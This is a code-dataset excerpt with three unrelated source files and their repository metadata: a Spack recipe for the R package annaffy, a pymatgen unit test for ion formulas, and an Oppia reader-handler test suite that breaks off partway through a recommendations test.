# Copyright 2013-2020 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class RAnnaffy(RPackage): """Annotation tools for Affymetrix biological metadata. Functions for handling data from Bioconductor Affymetrix annotation data packages. Produces compact HTML and text reports including experimental data and URL links to many online databases. Allows searching biological metadata using various criteria.""" homepage = "https://bioconductor.org/packages/annaffy" git = "https://git.bioconductor.org/packages/annaffy.git" version('1.56.0', commit='8c8e16aa0f3073880c39684fd8e554a052ec6233') version('1.54.0', commit='e1b3bf10515255eb994cd8bdf85697ea728c3484') version('1.52.0', commit='ef84030163045f702941c8d5a59fbd4a09f30e2c') version('1.50.0', commit='a822e20f3e961a8afa5eb23536343115a33fb259') version('1.48.0', commit='89a03c64ac9df5d963ed60b87893a3fffa6798a0') depends_on('r@2.5.0:', type=('build', 'run')) depends_on('r-biobase', type=('build', 'run')) depends_on('r-go-db', type=('build', 'run')) depends_on('r-kegg-db', type=('build', 'run')) depends_on('r-annotationdbi@0.1.15:', type=('build', 'run')) depends_on('r-dbi', type=('build', 'run'))
iulian787/spack
var/spack/repos/builtin/packages/r-annaffy/package.py
Python
lgpl-2.1
1,396
[ "Bioconductor" ]
b8e01c0386f9500e17d791e1fb334235ca2256781f82aad005153534df61f17c
# coding: utf-8 # Copyright (c) Pymatgen Development Team. # Distributed under the terms of the MIT License. from __future__ import unicode_literals import unittest from pymatgen.core.ion import Ion from pymatgen.core.periodic_table import Element from pymatgen.core.composition import Composition, CompositionError import random class IonTest(unittest.TestCase): def setUp(self): self.comp = list() self.comp.append(Ion.from_formula("Li+")) self.comp.append(Ion.from_formula("MnO4-")) self.comp.append(Ion.from_formula("Mn++")) self.comp.append(Ion.from_formula("PO3-2")) self.comp.append(Ion.from_formula("Fe(CN)6-3")) self.comp.append(Ion.from_formula("Fe(CN)6----")) self.comp.append(Ion.from_formula("Fe2((PO4)3(CO3)5)2-3")) self.comp.append(Ion.from_formula("Ca[2+]")) self.comp.append(Ion.from_formula("NaOH(aq)")) def test_init_(self): c = Composition({'Fe': 4, 'O': 16, 'P': 4}) charge = 4 self.assertEqual("Fe4 P4 O16 +4", Ion(c, charge).formula) f = {1: 1, 8: 1} charge = -1 self.assertEqual("H1 O1 -1", Ion(Composition(f), charge).formula) self.assertEqual("S2 O3 -2", Ion(Composition(S=2, O=3), -2).formula) def test_formula(self): correct_formulas = ['Li1 +1', 'Mn1 O4 -1', 'Mn1 +2', 'P1 O3 -2',\ 'Fe1 C6 N6 -3', 'Fe1 C6 N6 -4', \ 'Fe2 P6 C10 O54 -3', 'Ca1 +2', 'Na1 H1 O1'] all_formulas = [c.formula for c in self.comp] self.assertEqual(all_formulas, correct_formulas) self.assertRaises(CompositionError, Ion.from_formula, "(co2)(po4)2") def test_mixed_valence(self): comp = Ion(Composition({"Fe2+": 2, "Fe3+": 4, "Li+": 8})) self.assertEqual(comp.reduced_formula, "Li4Fe3(aq)") self.assertEqual(comp.alphabetical_formula, "Fe6 Li8") self.assertEqual(comp.formula, "Li8 Fe6") def test_alphabetical_formula(self): correct_formulas = ['Li1 +1', 'Mn1 O4 -1', 'Mn1 +2', 'O3 P1 -2',\ 'C6 Fe1 N6 -3', 'C6 Fe1 N6 -4', \ 'C10 Fe2 O54 P6 -3', 'Ca1 +2', "H1 Na1 O1"] all_formulas = [c.alphabetical_formula for c in self.comp] self.assertEqual(all_formulas, correct_formulas) def test_num_atoms(self): correct_num_atoms = [1, 5, 1, 4, 13, 13, 72, 1, 3] all_natoms = [c.num_atoms for c in self.comp] self.assertEqual(all_natoms, correct_num_atoms) def test_anonymized_formula(self): expected_formulas = ['A+1', 'AB4-1', 'A+2', 'AB3-2', 'AB6C6-3', 'AB6C6-4', 'AB3C5D27-3', 'A+2', 'ABC'] for i in range(len(self.comp)): self.assertEqual(self.comp[i].anonymized_formula, expected_formulas[i]) def test_from_dict(self): sym_dict = {"P": 1, "O": 4, 'charge': -2} self.assertEqual(Ion.from_dict(sym_dict).reduced_formula, "PO4[2-]", "Creation form sym_amount dictionary failed!") def test_as_dict(self): c = Ion.from_dict({'Mn': 1, 'O': 4, 'charge': -1}) d = c.as_dict() correct_dict = {'Mn': 1.0, 'O': 4.0, 'charge': -1.0} self.assertEqual(d, correct_dict) self.assertEqual(d['charge'], correct_dict['charge']) correct_dict = {'Mn': 1.0, 'O': 4.0, 'charge': -1} d = c.to_reduced_dict self.assertEqual(d, correct_dict) self.assertEqual(d['charge'], correct_dict['charge']) def test_equals(self): random_z = random.randint(1, 92) fixed_el = Element.from_Z(random_z) other_z = random.randint(1, 92) while other_z == random_z: other_z = random.randint(1, 92) comp1 = Ion(Composition({fixed_el: 1, Element.from_Z(other_z): 0}), 1) other_z = random.randint(1, 92) while other_z == random_z: other_z = random.randint(1, 92) comp2 = Ion(Composition({fixed_el: 1, Element.from_Z(other_z): 0}), 1) self.assertEqual(comp1, comp2, "Composition equality test failed. " + "%s should be equal to %s" % (comp1.formula, comp2.formula)) self.assertEqual(comp1.__hash__(), comp2.__hash__(), "Hashcode equality test failed!") def test_equality(self): self.assertTrue(self.comp[0] == (self.comp[0])) self.assertFalse(self.comp[0] == (self.comp[1])) self.assertFalse(self.comp[0] != (self.comp[0])) self.assertTrue(self.comp[0] != (self.comp[1])) def test_mul(self): self.assertEqual((self.comp[1] * 4).formula, "Mn4 O16 -4", "Incorrect composition after addition!") def test_len(self): self.assertEqual(len(self.comp[1]), 2, "Lengths are not equal!") if __name__ == '__main__': unittest.main()
matk86/pymatgen
pymatgen/core/tests/test_ion.py
Python
mit
5,066
[ "pymatgen" ]
1397605dee887ac46b95fdd844f883073f6221e619692dad1a78d3646084bf66
# Copyright 2014 The Oppia Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS-IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for the page that allows learners to play through an exploration.""" from __future__ import absolute_import # pylint: disable=import-only-modules from __future__ import unicode_literals # pylint: disable=import-only-modules import logging from constants import constants from core.domain import collection_domain from core.domain import collection_services from core.domain import exp_domain from core.domain import exp_fetchers from core.domain import exp_services from core.domain import learner_progress_services from core.domain import param_domain from core.domain import question_services from core.domain import recommendations_services from core.domain import rights_manager from core.domain import skill_services from core.domain import stats_domain from core.domain import stats_services from core.domain import story_domain from core.domain import story_services from core.domain import topic_services from core.domain import user_services from core.platform import models from core.platform.taskqueue import gae_taskqueue_services as taskqueue_services from core.tests import test_utils import feconf import python_utils (classifier_models, stats_models) = models.Registry.import_models( [models.NAMES.classifier, models.NAMES.statistics]) class ReaderPermissionsTest(test_utils.GenericTestBase): """Test permissions for readers to view explorations.""" EXP_ID = 'eid' def setUp(self): """Before each individual test, create a dummy exploration.""" super(ReaderPermissionsTest, self).setUp() self.signup(self.EDITOR_EMAIL, self.EDITOR_USERNAME) self.editor_id = self.get_user_id_from_email(self.EDITOR_EMAIL) self.editor = user_services.UserActionsInfo(self.editor_id) self.exploration = self.save_new_valid_exploration( self.EXP_ID, self.editor_id, title=self.UNICODE_TEST_STRING, category=self.UNICODE_TEST_STRING) def test_unpublished_explorations_are_invisible_to_logged_out_users(self): self.get_html_response( '%s/%s' % (feconf.EXPLORATION_URL_PREFIX, self.EXP_ID), expected_status_int=404) def test_unpublished_explorations_are_invisible_to_unconnected_users(self): self.signup(self.VIEWER_EMAIL, self.VIEWER_USERNAME) self.login(self.VIEWER_EMAIL) self.get_html_response( '%s/%s' % (feconf.EXPLORATION_URL_PREFIX, self.EXP_ID), expected_status_int=404) self.logout() def test_unpublished_explorations_are_invisible_to_other_editors(self): other_editor_email = 'another@example.com' self.signup(other_editor_email, 'othereditorusername') other_exploration = exp_domain.Exploration.create_default_exploration( 'eid2') exp_services.save_new_exploration( other_editor_email, other_exploration) self.login(other_editor_email) self.get_html_response( '%s/%s' % (feconf.EXPLORATION_URL_PREFIX, self.EXP_ID), expected_status_int=404) self.logout() def test_unpublished_explorations_are_visible_to_their_editors(self): self.login(self.EDITOR_EMAIL) self.get_html_response( '%s/%s' % (feconf.EXPLORATION_URL_PREFIX, self.EXP_ID)) self.logout() def test_unpublished_explorations_are_visible_to_admins(self): self.signup(self.ADMIN_EMAIL, self.ADMIN_USERNAME) self.set_admins([self.ADMIN_USERNAME]) self.login(self.ADMIN_EMAIL) self.get_html_response( '%s/%s' % (feconf.EXPLORATION_URL_PREFIX, self.EXP_ID)) self.logout() def test_published_explorations_are_visible_to_logged_out_users(self): rights_manager.publish_exploration(self.editor, self.EXP_ID) self.get_html_response( '%s/%s' % (feconf.EXPLORATION_URL_PREFIX, self.EXP_ID)) def test_published_explorations_are_visible_to_logged_in_users(self): rights_manager.publish_exploration(self.editor, self.EXP_ID) self.signup(self.VIEWER_EMAIL, self.VIEWER_USERNAME) self.login(self.VIEWER_EMAIL) self.get_html_response( '%s/%s' % (feconf.EXPLORATION_URL_PREFIX, self.EXP_ID)) def test_exploration_page_with_iframed_redirects(self): self.login(self.EDITOR_EMAIL) exp_version = self.exploration.version response = self.get_html_response( '%s/%s' % (feconf.EXPLORATION_URL_PREFIX, self.EXP_ID), params={ 'parent': True, 'iframed': True, 'v': exp_version }, expected_status_int=302 ) self.assertTrue( response.headers['Location'].endswith( '/embed/exploration/%s?v=%s' % (self.EXP_ID, exp_version))) self.logout() def test_exploration_page_raises_error_with_invalid_exploration_version( self): self.login(self.EDITOR_EMAIL) self.get_html_response( '%s/%s' % (feconf.EXPLORATION_URL_PREFIX, self.EXP_ID), params={ 'v': 10, 'parent': True }, expected_status_int=404 ) self.logout() class FeedbackIntegrationTest(test_utils.GenericTestBase): """Test the handler for giving feedback.""" def test_give_feedback_handler(self): """Test giving feedback handler.""" self.signup(self.VIEWER_EMAIL, self.VIEWER_USERNAME) # Load demo exploration. exp_id = '0' exp_services.delete_demo('0') exp_services.load_demo('0') # Viewer opens exploration. self.login(self.VIEWER_EMAIL) exploration_dict = self.get_json( '%s/%s' % (feconf.EXPLORATION_INIT_URL_PREFIX, exp_id)) state_name_1 = exploration_dict['exploration']['init_state_name'] # Viewer gives 1st feedback. self.post_json( '/explorehandler/give_feedback/%s' % exp_id, { 'state_name': state_name_1, 'feedback': 'This is a feedback message.', } ) self.logout() class ExplorationPretestsUnitTest(test_utils.GenericTestBase): """Test the handler for initialising exploration with state_classifier_mapping. """ def setUp(self): """Before each individual test, initialize data.""" super(ExplorationPretestsUnitTest, self).setUp() self.signup(self.EDITOR_EMAIL, self.EDITOR_USERNAME) self.editor_id = self.get_user_id_from_email(self.EDITOR_EMAIL) self.skill_id = skill_services.get_new_skill_id() self.save_new_skill( self.skill_id, 'user', description='Description') def test_get_exploration_pretests(self): super(ExplorationPretestsUnitTest, self).setUp() story_id = story_services.get_new_story_id() topic_id = topic_services.get_new_topic_id() self.save_new_topic( topic_id, 'user', name='Topic', description='A new topic', canonical_story_ids=[], additional_story_ids=[], uncategorized_skill_ids=[], subtopics=[], next_subtopic_id=0) self.save_new_story(story_id, 'user', topic_id) topic_services.add_canonical_story('user', topic_id, story_id) changelist = [ story_domain.StoryChange({ 'cmd': story_domain.CMD_ADD_STORY_NODE, 'node_id': 'node_1', 'title': 'Title 1' }) ] story_services.update_story('user', story_id, changelist, 'Added node.') exp_id = '15' exp_id_2 = '1' exp_services.delete_demo('0') exp_services.load_demo('15') exp_services.delete_demo('1') exp_services.load_demo('1') change_list = [story_domain.StoryChange({ 'cmd': story_domain.CMD_UPDATE_STORY_NODE_PROPERTY, 'property_name': ( story_domain.STORY_NODE_PROPERTY_PREREQUISITE_SKILL_IDS), 'old_value': [], 'new_value': [self.skill_id], 'node_id': 'node_1' }), story_domain.StoryChange({ 'cmd': story_domain.CMD_UPDATE_STORY_NODE_PROPERTY, 'property_name': ( story_domain.STORY_NODE_PROPERTY_EXPLORATION_ID), 'old_value': None, 'new_value': exp_id, 'node_id': 'node_1' })] story_services.update_story( 'user', story_id, change_list, 'Updated Node 1.') question_id = question_services.get_new_question_id() self.save_new_question( question_id, 'user', self._create_valid_question_data('ABC'), [self.skill_id]) question_id_2 = question_services.get_new_question_id() self.save_new_question( question_id_2, 'user', self._create_valid_question_data('ABC'), [self.skill_id]) question_services.create_new_question_skill_link( self.editor_id, question_id, self.skill_id, 0.3) question_services.create_new_question_skill_link( self.editor_id, question_id_2, self.skill_id, 0.5) # Call the handler. with self.swap(feconf, 'NUM_PRETEST_QUESTIONS', 1): json_response_1 = self.get_json( '%s/%s?story_url_fragment=title' % ( feconf.EXPLORATION_PRETESTS_URL_PREFIX, exp_id)) self.assertTrue( json_response_1['pretest_question_dicts'][0]['id'] in [question_id, question_id_2]) self.get_json( '%s/%s?story_url_fragment=title' % ( feconf.EXPLORATION_PRETESTS_URL_PREFIX, exp_id_2), expected_status_int=400) self.get_json( '%s/%s?story_url_fragment=invalid-story' % ( feconf.EXPLORATION_PRETESTS_URL_PREFIX, exp_id_2), expected_status_int=400) class QuestionsUnitTest(test_utils.GenericTestBase): """Test the handler for fetching questions.""" USER_EMAIL = 'user@example.com' USER_USERNAME = 'user' def setUp(self): """Before each individual test, initialize data.""" super(QuestionsUnitTest, self).setUp() self.signup(self.USER_EMAIL, self.USER_USERNAME) self.user_id = self.get_user_id_from_email(self.USER_EMAIL) self.signup(self.EDITOR_EMAIL, self.EDITOR_USERNAME) self.editor_id = self.get_user_id_from_email(self.EDITOR_EMAIL) self.skill_id = skill_services.get_new_skill_id() self.save_new_skill(self.skill_id, 'user', description='Description') self.question_id = question_services.get_new_question_id() self.save_new_question( self.question_id, 'user', self._create_valid_question_data('ABC'), [self.skill_id]) question_services.create_new_question_skill_link( self.editor_id, self.question_id, self.skill_id, 0.5) self.question_id_2 = question_services.get_new_question_id() self.save_new_question( self.question_id_2, 'user', self._create_valid_question_data('ABC'), [self.skill_id]) question_services.create_new_question_skill_link( self.editor_id, self.question_id_2, self.skill_id, 0.5) def test_questions_are_returned_successfully(self): # Call the handler. url = '%s?question_count=%s&skill_ids=%s&fetch_by_difficulty=%s' % ( feconf.QUESTIONS_URL_PREFIX, '1', self.skill_id, 'false') json_response_1 = self.get_json(url) self.assertEqual(len(json_response_1['question_dicts']), 1) def test_question_count_more_than_available_returns_all_questions(self): # Call the handler. url = '%s?question_count=%s&skill_ids=%s&fetch_by_difficulty=%s' % ( feconf.QUESTIONS_URL_PREFIX, '5', self.skill_id, 'true') json_response = self.get_json(url) self.assertEqual(len(json_response['question_dicts']), 2) def test_multiple_skill_id_returns_questions(self): skill_id_2 = skill_services.get_new_skill_id() self.save_new_skill(skill_id_2, 'user', description='Description') question_id_3 = question_services.get_new_question_id() self.save_new_question( question_id_3, 'user', self._create_valid_question_data('ABC'), [self.skill_id]) question_services.create_new_question_skill_link( self.editor_id, question_id_3, skill_id_2, 0.5) url = '%s?question_count=%s&skill_ids=%s,%s&fetch_by_difficulty=%s' % ( feconf.QUESTIONS_URL_PREFIX, '3', self.skill_id, skill_id_2, 'true') json_response = self.get_json(url) self.assertEqual(len(json_response['question_dicts']), 3) question_ids = [data['id'] for data in json_response['question_dicts']] self.assertItemsEqual( [self.question_id, self.question_id_2, question_id_3], question_ids) def test_filter_multiple_skill_id_return_questions(self): self.login(self.USER_EMAIL) skill_ids_for_url = '' # Create multiple skills, questions and skill links. for _ in python_utils.RANGE( feconf.MAX_QUESTIONS_FETCHABLE_AT_ONE_TIME): skill_id = skill_services.get_new_skill_id() skill_ids_for_url = skill_ids_for_url + skill_id + ',' self.save_new_skill(skill_id, 'user', description='Description') question_id = question_services.get_new_question_id() self.save_new_question( question_id, 'user', self._create_valid_question_data('ABC'), [skill_id]) question_services.create_new_question_skill_link( self.editor_id, question_id, skill_id, 0.5) # Create additional skills with user skill mastery > 0.0, # so that these are filtered out correctly. for _ in python_utils.RANGE(5): skill_id = skill_services.get_new_skill_id() skill_ids_for_url = skill_ids_for_url + skill_id + ',' self.save_new_skill(skill_id, 'user', description='Description') skill_services.create_user_skill_mastery( self.user_id, skill_id, 0.5) # Removing the last comma of the string. skill_ids_for_url = skill_ids_for_url[:-1] url = '%s?question_count=%s&skill_ids=%s&fetch_by_difficulty=%s' % ( feconf.QUESTIONS_URL_PREFIX, python_utils.convert_to_bytes( feconf.MAX_QUESTIONS_FETCHABLE_AT_ONE_TIME), skill_ids_for_url, 'true') json_response = self.get_json(url) self.assertEqual( len(json_response['question_dicts']), feconf.MAX_QUESTIONS_FETCHABLE_AT_ONE_TIME) def test_invalid_skill_id_returns_no_questions(self): # Call the handler. url = '%s?question_count=%s&skill_ids=%s&fetch_by_difficulty=%s' % ( feconf.QUESTIONS_URL_PREFIX, '1', 'invalid_skill_id', 'true') json_response = self.get_json(url) self.assertEqual(len(json_response['question_dicts']), 0) def test_question_count_zero_raises_invalid_input_exception(self): # Call the handler. url = '%s?question_count=%s&skill_ids=%s&fetch_by_difficulty=%s' % ( feconf.QUESTIONS_URL_PREFIX, '0', self.skill_id, 'true') self.get_json(url, expected_status_int=400) def test_invalid_fetch_by_difficulty_raises_invalid_input_exception(self): # Call the handler. url = '%s?question_count=%s&skill_ids=%s&fetch_by_difficulty=%s' % ( feconf.QUESTIONS_URL_PREFIX, '1', self.skill_id, []) self.get_json(url, expected_status_int=400) class ExplorationParametersUnitTests(test_utils.GenericTestBase): """Test methods relating to exploration parameters.""" def test_get_init_params(self): """Test the get_init_params() method.""" independent_pc = param_domain.ParamChange( 'a', 'Copier', {'value': 'firstValue', 'parse_with_jinja': False}) dependent_pc = param_domain.ParamChange( 'b', 'Copier', {'value': '{{a}}', 'parse_with_jinja': True}) exp_param_specs = { 'a': param_domain.ParamSpec('UnicodeString'), 'b': param_domain.ParamSpec('UnicodeString'), } new_params = self.get_updated_param_dict( {}, [independent_pc, dependent_pc], exp_param_specs) self.assertEqual(new_params, {'a': 'firstValue', 'b': 'firstValue'}) # Jinja string evaluation fails gracefully on dependencies that do not # exist. new_params = self.get_updated_param_dict( {}, [dependent_pc, independent_pc], exp_param_specs) self.assertEqual(new_params, {'a': 'firstValue', 'b': ''}) def test_update_learner_params(self): """Test the update_learner_params() method.""" independent_pc = param_domain.ParamChange( 'a', 'Copier', {'value': 'firstValue', 'parse_with_jinja': False}) dependent_pc = param_domain.ParamChange( 'b', 'Copier', {'value': '{{a}}', 'parse_with_jinja': True}) exp_param_specs = { 'a': param_domain.ParamSpec('UnicodeString'), 'b': param_domain.ParamSpec('UnicodeString'), } old_params = {} new_params = self.get_updated_param_dict( old_params, [independent_pc, dependent_pc], exp_param_specs) self.assertEqual(new_params, {'a': 'firstValue', 'b': 'firstValue'}) self.assertEqual(old_params, {}) old_params = {'a': 'secondValue'} new_params = self.get_updated_param_dict( old_params, [dependent_pc], exp_param_specs) self.assertEqual(new_params, {'a': 'secondValue', 'b': 'secondValue'}) self.assertEqual(old_params, {'a': 'secondValue'}) # Jinja string evaluation fails gracefully on dependencies that do not # exist. old_params = {} new_params = self.get_updated_param_dict( old_params, [dependent_pc], exp_param_specs) self.assertEqual(new_params, {'b': ''}) self.assertEqual(old_params, {}) class RatingsIntegrationTests(test_utils.GenericTestBase): """Integration tests of ratings recording and display.""" EXP_ID = '0' def setUp(self): super(RatingsIntegrationTests, self).setUp() exp_services.load_demo(self.EXP_ID) def test_assign_and_read_ratings(self): """Test the PUT and GET methods for ratings.""" self.signup('user@example.com', 'user') self.login('user@example.com') csrf_token = self.get_new_csrf_token() # User checks rating. ratings = self.get_json('/explorehandler/rating/%s' % self.EXP_ID) self.assertEqual(ratings['user_rating'], None) self.assertEqual( ratings['overall_ratings'], {'1': 0, '2': 0, '3': 0, '4': 0, '5': 0}) # User rates and checks rating. self.put_json( '/explorehandler/rating/%s' % self.EXP_ID, { 'user_rating': 2 }, csrf_token=csrf_token ) ratings = self.get_json('/explorehandler/rating/%s' % self.EXP_ID) self.assertEqual(ratings['user_rating'], 2) self.assertEqual( ratings['overall_ratings'], {'1': 0, '2': 1, '3': 0, '4': 0, '5': 0}) # User re-rates and checks rating. self.login('user@example.com') self.put_json( '/explorehandler/rating/%s' % self.EXP_ID, { 'user_rating': 5 }, csrf_token=csrf_token ) ratings = self.get_json('/explorehandler/rating/%s' % self.EXP_ID) self.assertEqual(ratings['user_rating'], 5) self.assertEqual( ratings['overall_ratings'], {'1': 0, '2': 0, '3': 0, '4': 0, '5': 1}) self.logout() def test_non_logged_in_users_cannot_rate(self): """Check non logged-in users can view but not submit ratings.""" self.signup('user@example.com', 'user') self.login('user@example.com') csrf_token = self.get_new_csrf_token() self.logout() ratings = self.get_json('/explorehandler/rating/%s' % self.EXP_ID) self.assertEqual(ratings['user_rating'], None) self.assertEqual( ratings['overall_ratings'], {'1': 0, '2': 0, '3': 0, '4': 0, '5': 0}) self.put_json( '/explorehandler/rating/%s' % self.EXP_ID, { 'user_rating': 1 }, csrf_token=csrf_token, expected_status_int=401 ) def test_ratings_by_different_users(self): """Check that ratings by different users do not interfere.""" self.signup('a@example.com', 'a') self.signup('b@example.com', 'b') self.login('a@example.com') csrf_token = self.get_new_csrf_token() self.put_json( '/explorehandler/rating/%s' % self.EXP_ID, { 'user_rating': 4 }, csrf_token=csrf_token ) self.logout() self.login('b@example.com') csrf_token = self.get_new_csrf_token() ratings = self.get_json('/explorehandler/rating/%s' % self.EXP_ID) self.assertEqual(ratings['user_rating'], None) self.put_json( '/explorehandler/rating/%s' % self.EXP_ID, { 'user_rating': 4 }, csrf_token=csrf_token ) ratings = self.get_json('/explorehandler/rating/%s' % self.EXP_ID) self.assertEqual(ratings['user_rating'], 4) self.assertEqual( ratings['overall_ratings'], {'1': 0, '2': 0, '3': 0, '4': 2, '5': 0}) self.logout() class RecommendationsHandlerTests(test_utils.EmailTestBase): """Backend integration tests for recommended explorations for after an exploration is completed. """ # Demo explorations. EXP_ID_0 = '0' EXP_ID_1 = '1' EXP_ID_7 = '7' EXP_ID_8 = '8' # Explorations contained within the demo collection. EXP_ID_19 = '19' EXP_ID_20 = '20' EXP_ID_21 = '21' # Demo collection. COL_ID = '0' def setUp(self): super(RecommendationsHandlerTests, self).setUp() # Register users. self.signup(self.EDITOR_EMAIL, self.EDITOR_USERNAME) self.editor_id = self.get_user_id_from_email(self.EDITOR_EMAIL) self.signup(self.NEW_USER_EMAIL, self.NEW_USER_USERNAME) self.new_user_id = self.get_user_id_from_email(self.NEW_USER_EMAIL) # Login and create activities. self.login(self.EDITOR_EMAIL) exp_services.load_demo(self.EXP_ID_0) exp_services.load_demo(self.EXP_ID_1) exp_services.load_demo(self.EXP_ID_7) exp_services.load_demo(self.EXP_ID_8) collection_services.load_demo(self.COL_ID) self.logout() def _get_exploration_ids_from_summaries(self, summaries): """Returns the sorted list of all the exploration ids from summaries.""" return sorted([summary['id'] for summary in summaries]) def _get_recommendation_ids( self, exploration_id, collection_id=None, include_system_recommendations=None, author_recommended_ids_str='[]'): """Gets the recommended exploration ids from the summaries.""" collection_id_param = ( '&collection_id=%s' % collection_id if collection_id is not None else '') include_recommendations_param = ( '&include_system_recommendations=%s' % ( include_system_recommendations) if include_system_recommendations is not None else '') recommendations_url = ( '/explorehandler/recommendations/%s?' 'stringified_author_recommended_ids=%s%s%s' % ( exploration_id, author_recommended_ids_str, collection_id_param, include_recommendations_param)) summaries = self.get_json(recommendations_url)['summaries'] return self._get_exploration_ids_from_summaries(summaries) # TODO(bhenning): Add tests for ensuring system explorations are properly # sampled when there are many matched for a given exploration ID. # TODO(bhenning): Verify whether recommended author-specified explorations # are also played within the context of collections, and whether that's # desirable. def _set_recommendations(self, exp_id, recommended_ids): """Sets the recommendations in the exploration corresponding to the given exploration id. """ recommendations_services.set_exploration_recommendations( exp_id, recommended_ids) def _complete_exploration_in_collection(self, exp_id): """Completes the exploration within the collection. Records that the exploration has been played by the user in the context of the collection. """ collection_services.record_played_exploration_in_collection_context( self.new_user_id, self.COL_ID, exp_id) def _complete_entire_collection_in_order(self): """Completes the entire collection in order.""" self._complete_exploration_in_collection(self.EXP_ID_19) self._complete_exploration_in_collection(self.EXP_ID_20) self._complete_exploration_in_collection(self.EXP_ID_21) self._complete_exploration_in_collection(self.EXP_ID_0) # Logged in standard viewer tests. def test_logged_in_with_no_sysexps_no_authexps_no_col_has_no_exps(self): """Check there are no recommended explorations when a user is logged in, finishes an exploration in-viewer, but there are no recommended explorations and no author exploration IDs. """ self.login(self.NEW_USER_EMAIL) recommendation_ids = self._get_recommendation_ids( self.EXP_ID_0, include_system_recommendations=True) self.assertEqual(recommendation_ids, []) def test_logged_in_with_some_sysexps_no_authexps_no_col_has_some_exps(self): """Check there are recommended explorations when a user is logged in, finishes an exploration in-viewer, and there are system recommendations. """ self.login(self.NEW_USER_EMAIL) self._set_recommendations(self.EXP_ID_0, [self.EXP_ID_1, self.EXP_ID_8]) recommendation_ids = self._get_recommendation_ids( self.EXP_ID_0, include_system_recommendations=True) self.assertEqual(recommendation_ids, [self.EXP_ID_1, self.EXP_ID_8]) def test_logged_in_with_no_sysexps_some_authexps_no_col_has_some_exps(self): """Check there are some recommended explorations when a user is logged in, finishes an exploration in-viewer, and there are author-specified exploration IDs. """ self.login(self.NEW_USER_EMAIL) recommendation_ids = self._get_recommendation_ids( self.EXP_ID_0, include_system_recommendations=True, author_recommended_ids_str='["7","8"]') self.assertEqual(recommendation_ids, [self.EXP_ID_7, self.EXP_ID_8]) def test_logged_in_with_sysexps_and_authexps_no_col_has_some_exps(self): """Check there are recommended explorations when a user is logged in, finishes an exploration in-viewer, and there are both author-specified exploration IDs and recommendations from the system. """ self.login(self.NEW_USER_EMAIL) self._set_recommendations(self.EXP_ID_0, [self.EXP_ID_1, self.EXP_ID_8]) recommendation_ids = self._get_recommendation_ids( self.EXP_ID_0, include_system_recommendations=True, author_recommended_ids_str='["7","8"]') self.assertEqual( recommendation_ids, [self.EXP_ID_1, self.EXP_ID_7, self.EXP_ID_8]) # Logged in in-editor tests. def test_logged_in_preview_no_authexps_no_col_has_no_exps(self): """Check there are no recommended explorations when a user is logged in, finishes an exploration in-editor (no system recommendations since it's a preview of the exploration), and there are no author exploration IDs. """ self.login(self.NEW_USER_EMAIL) recommendation_ids = self._get_recommendation_ids(self.EXP_ID_0) self.assertEqual(recommendation_ids, []) def test_logged_in_preview_with_authexps_no_col_has_some_exps(self): """Check there are some recommended explorations when a user is logged in, finishes an exploration in-editor (no system recommendations), and there are some author exploration IDs. """ self.login(self.NEW_USER_EMAIL) recommendation_ids = self._get_recommendation_ids( self.EXP_ID_0, author_recommended_ids_str='["7","8"]') self.assertEqual(recommendation_ids, [self.EXP_ID_7, self.EXP_ID_8]) # Logged in collection tests. def test_logged_in_no_sysexps_no_authexps_first_exp_in_col_has_exp(self): """Check there is a recommended exploration when a user is logged in and completes the first exploration of a collection. """ self.login(self.NEW_USER_EMAIL) self._complete_exploration_in_collection(self.EXP_ID_19) recommendation_ids = self._get_recommendation_ids( self.EXP_ID_19, collection_id=self.COL_ID) # The next exploration in the collection should be recommended. self.assertEqual(recommendation_ids, [self.EXP_ID_20]) def test_logged_in_no_sysexps_no_authexps_mid_exp_in_col_has_exps(self): """Check there are recommended explorations when a user is logged in and completes a middle exploration of the collection (since more explorations are needed to complete the collection). """ self.login(self.NEW_USER_EMAIL) self._complete_exploration_in_collection(self.EXP_ID_20) recommendation_ids = self._get_recommendation_ids( self.EXP_ID_20, collection_id=self.COL_ID) # The first exploration that the user has not yet visited is # recommended. Since, the collection is linear, in this method, finally, # the user would visit every node in the collection. self.assertEqual(recommendation_ids, [self.EXP_ID_19]) def test_logged_in_no_sysexps_no_authexps_all_exps_in_col_has_no_exps(self): """Check there are not recommended explorations when a user is logged in and completes all explorations of the collection. """ self.login(self.NEW_USER_EMAIL) self._complete_entire_collection_in_order() recommendation_ids = self._get_recommendation_ids( self.EXP_ID_0, collection_id=self.COL_ID) # No explorations are recommended since the collection was completed. self.assertEqual(recommendation_ids, []) def test_logged_in_with_sysexps_no_authexps_first_exp_in_col_has_exp(self): """Check there is a recommended exploration when a user is logged in and completes the first exploration of a collection. Note that even though the completed exploration has system recommendations, they are ignored in favor of the collection's own recommendations. """ self.login(self.NEW_USER_EMAIL) self._set_recommendations( self.EXP_ID_19, [self.EXP_ID_1, self.EXP_ID_8]) self._complete_exploration_in_collection(self.EXP_ID_19) recommendation_ids = self._get_recommendation_ids( self.EXP_ID_19, collection_id=self.COL_ID, include_system_recommendations=True) # The next exploration in the collection should be recommended. self.assertEqual(recommendation_ids, [self.EXP_ID_20]) def test_logged_in_with_sysexps_no_authexps_mid_exp_in_col_has_exps(self): """Check there are recommended explorations when a user is logged in and completes a middle exploration of the collection (since more explorations are needed to complete the collection). Note that even though the completed exploration has system recommendations, they are ignored in favor of the collection's own recommendations. """ self.login(self.NEW_USER_EMAIL) self._set_recommendations( self.EXP_ID_20, [self.EXP_ID_1, self.EXP_ID_8]) self._complete_exploration_in_collection(self.EXP_ID_20) recommendation_ids = self._get_recommendation_ids( self.EXP_ID_20, collection_id=self.COL_ID, include_system_recommendations=True) # The first exploration that the user has not yet visited is # recommended. Since, the collection is linear, in this method, finally, # the user would visit every node in the collection. self.assertEqual(recommendation_ids, [self.EXP_ID_19]) def test_logged_in_sysexps_no_authexps_all_exps_in_col_has_no_exps(self): """Check there are not recommended explorations when a user is logged in and completes all explorations of the collection. This is true even if there are system recommendations for the last exploration. """ self.login(self.NEW_USER_EMAIL) self._complete_entire_collection_in_order() self._set_recommendations( self.EXP_ID_0, 